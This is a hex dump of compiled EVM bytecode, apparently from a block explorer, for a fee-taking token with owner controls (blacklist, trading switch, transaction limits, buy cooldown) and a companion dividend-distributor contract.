5180910390fd5b6103e88160065402816134bd57fe5b0460078190555050565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061357e613520612260565b6135706135616002613553601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612f25565b614e1490919063ffffffff16565b85614e1490919063ffffffff16565b614e9a90919063ffffffff16565b9050919050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61363b33613ddc565b6136ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81602360006101000a81548160ff021916908315150217905550806024819055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b613701336124aa565b613773576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060178190555050565b613786336124aa565b6137f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61385c336124aa565b6138ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6139be33613ddc565b613a30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015613aba5750601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b613ac357600080fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015613bd157601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613bb457600080fd5b505af1158015613bc8573d6000803e3d6000fd5b50505050613cbc565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613ca357600080fd5b505af1158015613cb7573d6000803e3d6000fd5b505050505b5050565b613cc933613ddc565b613d3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60175481565b601e60149054906101000a900460ff1681565b6000613ed6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461401e9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f6b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054614d8c90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008383111582906140cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614090578082015181840152602081019050614075565b50505050905090810190601f1680156140bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602560009054906101000a900460ff161561410757614100848484613e4b565b9050614d3b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156141ab5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561423357601e60149054906101000a900460ff16614232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b5b600b60009054906101000a900460ff161561435f57600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156142ec5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61435e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f426c61636b6c697374656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156143e557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561443f5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156144995750601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156144f35750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561454d5750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156145a75750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156146185760006145b784612f25565b90506008548382011115614616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180615a7e603e913960400191505060405180910390fd5b505b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156146815750602160009054906101000a900460ff165b80156146d75750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156147cc5742602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410614773576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180615a386025913960400191505060405180910390fd5b602160019054906101000a900460ff1660ff164201602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6147d68483614ee4565b6147de614fb4565b156147ec576147eb61508b565b5b614875826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461401e9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006148c385615783565b6148cd5782614929565b6149288584601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16146157da565b5b905061497d81600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054614d8c90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16614aff57601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015614ae357600080fd5b505af1925050508015614af4575060015b614afd57614afe565b5b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16614c3e57601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9685600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015614c2257600080fd5b505af1925050508015614c33575060015b614c3c57614c3d565b5b5b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c4796020546040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015614cb557600080fd5b505af1925050508015614cc6575060015b614ccf57614cd0565b5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b6000614d8483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061401e565b905092915050565b600080828401905083811015614e0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415614e275760009050614e94565b6000828402905082848281614e3857fe5b0414614e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615a5d6021913960400191505060405180910390fd5b809150505b92915050565b6000614edc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250615949565b905092915050565b60075481111580614f3e5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b614fb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5458204c696d697420457863656564656400000000000000000000000000000081525060200191505060405180910390fd5b5050565b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156150215750602560009054906101000a900460ff16155b80156150395750602360009054906101000a900460ff165b80156150865750602454600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602560006101000a81548160ff02191690831515021790555060006150b6601b54601c54611967565b6150c2576011546150c5565b60005b9050600061510560026150f76015546150e986602454614e1490919063ffffffff16565b614e9a90919063ffffffff16565b614e9a90919063ffffffff16565b9050600061511e82602454614d4290919063ffffffff16565b90506000600267ffffffffffffffff8111801561513a57600080fd5b506040519080825280602002602001820160405280156151695781602001602082028036833780820191505090505b509050308160008151811061517a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106151e457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156152e75780820151818401526020810190506152cc565b505050509050019650505050505050600060405180830381600087803b15801561531057600080fd5b505af1158015615324573d6000803e3d6000fd5b50505050600061533d8247614d4290919063ffffffff16565b90506000615369615358600289614e9a90919063ffffffff16565b601554614d4290919063ffffffff16565b905060006153a56002615397846153898c88614e1490919063ffffffff16565b614e9a90919063ffffffff16565b614e9a90919063ffffffff16565b905060006153d0836153c260125487614e1490919063ffffffff16565b614e9a90919063ffffffff16565b905060006153fb846153ed60135488614e1490919063ffffffff16565b614e9a90919063ffffffff16565b905060006154268561541860145489614e1490919063ffffffff16565b614e9a90919063ffffffff16565b9050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561549257600080fd5b505af1935050505080156154a4575060015b6154ad576154ae565b5b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051806000019050600060405180830381858888f193505050503d8060008114615535576040519150601f19603f3d011682016040523d82523d6000602084013e61553a565b606091505b50509050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051806000019050600060405180830381858888f193505050503d80600081146155c3576040519150601f19603f3d011682016040523d82523d6000602084013e6155c8565b606091505b5050809150506000905060008b111561575a57601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71986308e600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156156c757600080fd5b505af11580156156db573d6000803e3d6000fd5b50505050506040513d60608110156156f257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506858c604051808381526020018281526020019250505060405180910390a15b5050505050505050505050506000602560006101000a81548160ff021916908315150217905550565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600080826157e95760646157ed565b6017545b9050600061582f606460165402615821846158136015548a614e1490919063ffffffff16565b614e1490919063ffffffff16565b614e9a90919063ffffffff16565b905061588381600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054614d8c90919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361593e8186614d4290919063ffffffff16565b925050509392505050565b600080831182906159f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156159ba57808201518184015260208101905061599f565b50505050905090810190601f1680156159e75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581615a0157fe5b04905080915050939250505056fe4d69736d61746368206265747765656e204164647265737320616e6420746f6b656e20636f756e74506c65617365207761697420666f7220316d696e206265747765656e2074776f2062757973536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f74616c20486f6c64696e672069732063757272656e746c79206c696d697465642c20796f752063616e206e6f74206275792074686174206d7563682e474153204572726f723a206d61782061697264726f70206c696d69742069732035303020616464726573736573474153204572726f723a206d61782061697264726f70206c696d69742069732038303020616464726573736573a26469706673582212203241a0e0e076054de95b61c47ba6997b7ab99e87671f1bca8f926581f70385d764736f6c6343000706003360806040527382af49447d8a07e3bd95bd0d56f35241523fbab1600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507382af49447d8a07e3bd95bd0d56f35241523fbab1600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506ec097ce7bc90715b34b9f1000000000600c55610a8c600d556509184e72a000600e553480156100dd57600080fd5b506040516119cf3803806119cf8339818101604052602081101561010057600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561016057731b02da8cb0d097eb8d57a175b88c7d8b47997506610162565b805b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506117dd806101f26000396000f3fe6080604052600436106100dd5760003560e01c8063ce7c2ac21161007f578063efca2eed11610059578063efca2eed1461033b578063f0fc6bca14610366578063ffb2c4791461037d578063ffd49c84146103b8576100dd565b8063ce7c2ac214610293578063d0e30db014610306578063e2d2e21914610310576100dd565b80632d48e896116100bb5780632d48e896146101cd5780633a98ef39146102125780634fab0ae81461023d578063997664d714610268576100dd565b806311ce023d146100e257806314b6ca961461010d57806328fd319814610168575b600080fd5b3480156100ee57600080fd5b506100f76103e3565b6040518082815260200191505060405180910390f35b34801561011957600080fd5b506101666004803603604081101561013057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506103e9565b005b34801561017457600080fd5b506101b76004803603602081101561018b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106a8565b6040518082815260200191505060405180910390f35b3480156101d957600080fd5b50610210600480360360408110156101f057600080fd5b8101908080359060200190929190803590602001909291905050506107c2565b005b34801561021e57600080fd5b5061022761082c565b6040518082815260200191505060405180910390f35b34801561024957600080fd5b50610252610832565b6040518082815260200191505060405180910390f35b34801561027457600080fd5b5061027d610838565b6040518082815260200191505060405180910390f35b34801561029f57600080fd5b506102e2600480360360208110156102b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083e565b60405180848152602001838152602001828152602001935050505060405180910390f35b61030e610868565b005b34801561031c57600080fd5b50610325610ce3565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b50610350610ce9565b6040518082815260200191505060405180910390f35b34801561037257600080fd5b5061037b610cef565b005b34801561038957600080fd5b506103b6600480360360208110156103a057600080fd5b8101908080359060200190929190505050610cfa565b005b3480156103c457600080fd5b506103cd610e74565b6040518082815260200191505060405180910390f35b600c5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461044157600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156104965761049582610e7a565b5b6000811180156104e857506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154145b156104fb576104f682611140565b61055d565b60008114801561054d57506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154115b1561055c5761055b826111ef565b5b5b6105c6816105b8600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546008546113c890919063ffffffff16565b61141290919063ffffffff16565b60088190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061065e600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461149a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414156106fd57600090506107bd565b600061074a600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461149a565b90506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490508082116107a5576000925050506107bd565b6107b881836113c890919063ffffffff16565b925050505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081a57600080fd5b81600d8190555080600e819055505050565b60085481565b600e5481565b60095481565b60076020528060005260406000206000915090508060000154908060010154908060020154905083565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c057600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561094b57600080fd5b505afa15801561095f573d6000803e3d6000fd5b505050506040513d602081101561097557600080fd5b810190808051906020019092919050505090506000600267ffffffffffffffff811180156109a257600080fd5b506040519080825280602002602001820160405280156109d15781602001602082028036833780820191505090505b509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110610a0457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110610a6e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de953460008430426040518663ffffffff1660e01b815260040180858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015610b66578082015181840152602081019050610b4b565b50505050905001955050505050506000604051808303818588803b158015610b8d57600080fd5b505af1158015610ba1573d6000803e3d6000fd5b50505050506000610c7e83600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c3557600080fd5b505afa158015610c49573d6000803e3d6000fd5b505050506040513d6020811015610c5f57600080fd5b81019080805190602001909291905050506113c890919063ffffffff16565b9050610c958160095461141290919063ffffffff16565b600981905550610cd8610cc7600854610cb984600c546114cc90919063ffffffff16565b61155290919063ffffffff16565b600b5461141290919063ffffffff16565b600b81905550505050565b600b5481565b600a5481565b610cf833610e7a565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5257600080fd5b600060048054905090506000811415610d6b5750610e71565b6000805a905060005b8483108015610d8257508381105b15610e6c5783600f5410610d99576000600f819055505b610ddb6004600f5481548110610dab57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661159c565b15610e2357610e226004600f5481548110610df257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e7a565b5b610e48610e395a846113c890919063ffffffff16565b8461141290919063ffffffff16565b92505a9150600f600081548092919060010191905055508080600101915050610d74565b505050505b50565b600d5481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415610eca5761113d565b6000610ed5826106a8565b9050600081111561113b57610ef581600a5461141290919063ffffffff16565b600a81905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f8e57600080fd5b505af1158015610fa2573d6000803e3d6000fd5b505050506040513d6020811015610fb857600080fd5b81019080805190602001909291905050505042600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461141290919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055506110f4600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461149a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b505b50565b600480549050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046001600480549050038154811061120457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548154811061127b57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005600060046001600480549050038154811061131c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600480548061139057fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905550565b600061140a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611600565b905092915050565b600080828401905083811015611490576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006114c5600c546114b7600b54856114cc90919063ffffffff16565b61155290919063ffffffff16565b9050919050565b6000808314156114df576000905061154c565b60008284029050828482816114f057fe5b0414611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117876021913960400191505060405180910390fd5b809150505b92915050565b600061159483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c0565b905092915050565b600042600d54600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011080156115f95750600e546115f7836106a8565b115b9050919050565b60008383111582906116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611672578082015181840152602081019050611657565b50505050905090810190601f16801561169f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061176c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611731578082015181840152602081019050611716565b50505050905090810190601f16801561175e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161177857fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220f04575a223d7f019b79ebddf78d11f6b41be6e75c1f7c38bb63ad50f607f006964736f6c63430007060033
Deployed Bytecode
